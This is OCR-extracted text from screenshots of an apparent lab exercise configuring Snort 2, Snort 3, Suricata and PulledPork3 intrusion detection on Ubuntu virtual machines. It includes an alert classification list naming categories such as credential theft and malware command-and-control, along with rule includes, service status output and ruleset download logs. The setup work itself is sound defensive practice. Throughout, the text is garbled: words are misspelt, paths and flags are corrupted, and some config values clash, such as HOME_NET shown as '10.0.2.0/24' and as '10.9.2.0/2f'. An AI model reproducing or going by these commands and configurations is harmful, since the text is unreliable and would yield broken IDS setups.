netuark-scan,Detection of a Netwark Scan,3
denial-of-service,Detection of a Denial of Service Attack,2
non-standard-protocol, Detection of a non-standard protocol or event,2
protocol-comnand-decode, Generic Protocol Command Decode,3
web-application-activity,access o a potentially vulnerable web application,2
uweb-application-attack,Heb Application Attack,l

misc-activity,Misc activity,3

misc-attack,Misc Attack,2

icmp-event,Generic ICHP event,3

inappropriate-content, Inappropriate Content was Detected, 1
policy-violation,Potential Corporate Privacy Violation,1
default-login-attempt,Attempt to login by a default username and passuord,2
targeted-activity, Targeted Malicious Activity was Detected,1
exploit-kit,Exploit Kit Activity Detected,1
external-ip-check,Device Retrieving External IP Address Detected,2
domain-c2,Domain Observed Used for C2 Detected,1
pup-activity,Possibly Unuanted Program Detected,2
credential-theft,Successful Credential Theft Detected,1
social-engineering,Possible Social Engineering Attempted,2
coin-mining,Crypto Currency Mining Activity Detected,2
command-and-control, Maluare Command and Control Activity Detected,1
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root@ubuntu: /home/cslab# systemctl status suricata
|- suricata.service - Suricata IDS/IDP daemon
Loaded: loaded (/usrslib/systemd/systen/suricata.service; enabled; preset: enabled)
Active: active (running) since Sun 2025-07-20 17:23:24 BST; 65 ago
Docs: man:suricata(s)
man: suricatasc (8)
https://suricata. io/documentat ion/
Frocess: 2850 ExecStart=/usr/bin/suricata -D --af-packet -c /etc/suricata/suricata.yaml --pidfile /run/suricata.pid (codesexited, status=o/SUCCESS)
Main PID: 2853 (Suricata-Main)
Tasks: 1 (limit: 2272)
Memory: 147.2M (peak: 147.5M)
CPU: 6.3285
CBroup: /system.slice/suricata.service
'-2853 susr/hin/suricata -D --af-packet -c /etc/suricatassuricata.yaml --pidfile /run/suricata.pid
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J# Step #1: Set the netuork variables. For more information, see README.variables
R R R RN R R R RN RN

J# setup the netuork addresses you are protecting

1

J# Note to Debian users: this value is overriden when starting
J# up the Snort daemon through the init.d script by the

J# value of DEBIAN_SNORT_HOME_NET s defined in the

J» /etc/snort/snort.debian.conf canfiguration file

:

i

pvar HOME_NET any
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snort.debian.config (Debian Snort configuration file)

This file was generated by the post-installation script of the snort
package using values from the debconf database.

It is used for options that are changed by Debian to leave
the original configuration files untouched.

This file is automatically updated on upgrades of the snort package
sonlyx if it has not been modified since the last upgrade of that package

1
1
1
1
1
1
1
1
1
1
J# 1f you have edited this file but would like it to be automatically updated
J# again, run the following command as root:

¢ dpkg-reconfigure snort

DEBIAN_SNORT_STARTUP="haot "

DER 1AN_SNORT_HOHE NET="10.0.2.0/24"

IDEB TAN_SNORT_OP TION
IDEE TAN_SNORT_INTERFACE="enpos3"
IDEB TAN_SNORT_SEND_STATS="true"
IDEB TAN_SNORT_STATS_RCPT="ront "
DEB TAN_SNORT_STATS_THRESHOLD="1"





image69.png
¢ Path to your rules files (this can be a relative path)

J# Note for Hindous users: vou are advised to make this an absolute path,
J# such as: cisnortirules

juar RULE_PATH /etc/snort/rules

var S0_RULE_PATH setc/snort/so_rules
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jt site specific rules
include SRULE_PATH/local.rules

J# The include files commented below have been disabled
J# because they are not available in the stock Debian
J# rules. If you install the Sourcefire VRT please make
J# sure uou re-enable them again:

J#include SRULE_PATH/app-detect.rules
include SRULE_PATH/attack-responses.rules
include SRULE_PATH/hackdoor.rules

include SRULE_PATH/had-traffic.rules
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finclude SRULE_f PATH/scan rules
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root@ubuntu:/etc/snortd systemctl status snort
+ snort.service - LSB: Lightueight network intrusion detection system

Loaded:
Active:

Docs
Tasks
Hemory
cPl

CGroup:

loaded (/etc/init.d/snort; generated

active (running) since Sun 2025-7-20 15:41:43 BST; emin ago
man: systemd-sysy-generator (8)

2 (limit: 2272)

79.8M (peak: 95.5M)

369ms

/system.slicessnort.service
2127 susr/shinssnort -m 627 -D -d -1 svar/log/snort -u snort -g snort --pid-path /runssnort/ -c /etc/snort/snort.conf -5 "\'HOME_NET=[10.9.2.0/2f
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snort.lua

configure defaults

- HOME_NET and EXTERNAL_NET must be set now

- setup the netuork addresses you are protecting
-HOME_NET = 'any’

HOME_NET = '10.0.2.0/24'

- set up the external netuork addresses.
- (leave as “any" in most situations)
EXTERNAL_NET = ‘any’

include 'snort_defaults.lua’
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root@snort3: /home/cslab# cd /var/log/snorts
rootesnorta: svarslog/snort# s
alert_fast.txt alert_full.txt
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droot@snort3: shome/cslab# sudo snort -c Ausr/local/etc/snort/snort. lua -1 enpds3 -A alert _fast
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Jroot@snort3: shome/cslab# sudo snort -c /usr/localsetc/snortssnort.lua -1 enpos3 -A alert_fast -1 /var/logssnort/ --lua “alert_fast = {file = true}" -|
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broot@snorts: shomescslab# tail -f /var/log/snort/alert_fast.txt




image78.jpeg
&  Documents  Downloads
#

Oinkcode

Products

Community

Documentation and Re

How to use your oinkcode

ional and instructional resources for Snort 2 and Snort 3

Talos

Resources





image79.png
# hich Snort/Talos rulesets do you want to download (recomended: choose anly one)
connunity_ruleset = true
registered_ruleset = false

htsPO_ruleset = false

# Your Snort oinkcode is required for snort/talos Subscription, Light SPD, and Registered rulesets
o0x
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¢ specify local rules files, comma-separated
[#1ocal_rules = /usr/local/etc/rulesslocal.rules, sanother/path/to/moresrules
local_rules = susr/local/etc/rules/local.rules

¢ Rules files to ignore

¢ includes.rules and snort3-deleted.rules are recommended to aluays he ignored

[+ NOTE: the old "ignore" setting name (from Perl PulledPork) is also accepted here
a if both are used, the values are combined and de-duped

ignored_files = includes.rules, snort3-deleted.rules

¢ do you want rules that are disabled to be included when writing rules to rule path?

¢ defaults to false. This is ignored if rule_mode = policy, since the policy determines which
¢ rules are uritten

include_disabled_rules = false

[# uhere should so rules be saved
# so rules will only be processed if this is uncommented
sorule_path = /usr/local/etc/so_rules/
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- 5. configure detection
eferences = default_references
classifications = default_classifications

ips

i

use this to enable decoder and inspector alerts
enable_builtin_rules = true,
enable_builtin_rules = trie,

use include for rules files; be sure to set your path
note that rules files can include other rules files
(see also related path vars at the top of snort_defaults.lua
include = '/usr/localsetcs/rules/pulledpork.rules’
include = 'vusr/localsetcsrulesslocal.rules’,
-~ include = '/usr/localsetc/rules/local.rules’
variables = default_variables
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susr/localsbinspulledpork3spulledpork.py -y
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/usr/localsbinspulledpork3spulledpork.py -c /usr/local/etc/pulledporks/pulledpork.conf
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root@snort3:/usr/local/bin/pulledporkd® susr/local/bin/pulledporkd/pulledpork.py  -c /usr/local/etc/pulledpork3/pulledpork.cont

https://github.con/shirkdog/pulledporks

) PulledPork v3.6.0.5
4 Lowcountry yellow mustard bbg sauce is the best bby sauce. Fight me.

v
LT YINA_ Copyright (C) 2621 Noah Dietrich, Colin Grady, Michael Shirk
as / 66\_ and the PulledPork Team!
[T ]
N /-] |I'--" Rules give me wings!
SN NN

Loading configuration file: /usr/local/etc/pulledpork3/pulledpark.conf
Processing Registered ruleset
loaded local rules file: Rules(loaded:o, enabled:o, disabled:e) from /usr/local/etc/rules/local.rules
Preparing to modify rules by sid file
completed processing all rulesets and local rules:
- Collected Rules: Rules(loaded:51344, enabled:3965, disabled:41379)
- Collected Policies:
- Policy(name:balanced, rules:9965)
scomnectivity, rules:53a)
security, rules:23039)
max-detect, rules:41369)
tnone, rules:o)
Writing rules to: /usr/local/etc/rules/pulledpork.rules
Program execution complete.
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¥# Oracle VM VirtualBox Manager
File Machine Snapshot Help

& Preferences... a4
{6 1mport Appliance... ctrls1
B= Tools »

(&) Check for Updates...
A\ Reset All Warnings

© qut

(@) Powered Off

™! Ubuntu Server SSLTarget (Apache and OpenssL. Installed)
(@) Powered Off

P! Ubuntu Server Vanilla (4fter Promisc Mode Change)
(@) Powered Off

P! Ubuntu Server Snort2 (After Promisc Mode Change)
(@) Powered Off
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N7 Export Virtual Appliance ? X

irtual machines

Please select the virtual machines that should be added to the appliance. You can select more than one.
Please note that these machines have to be turned off before they can be exported.

) oF - kali-linux
) oF - kali-inux 2
V3 Kali2025

@ Ubuntu Server Screenshots ﬁ
@ Ubuntu Server Screenshots Suricata

@ Ubuntu Server snort2

(Pd Ubuntu Server Snorts |
@ Ubuntu Server Snort3 Clone - PulledPork Screenshot

@ Ubuntu Server Snort3 Clone - Test Extending HDD to 30GB

P Ubuntu Server SSLTarget

P Ubuntu Server Suricata |
P Ubuntu Server Vanilla
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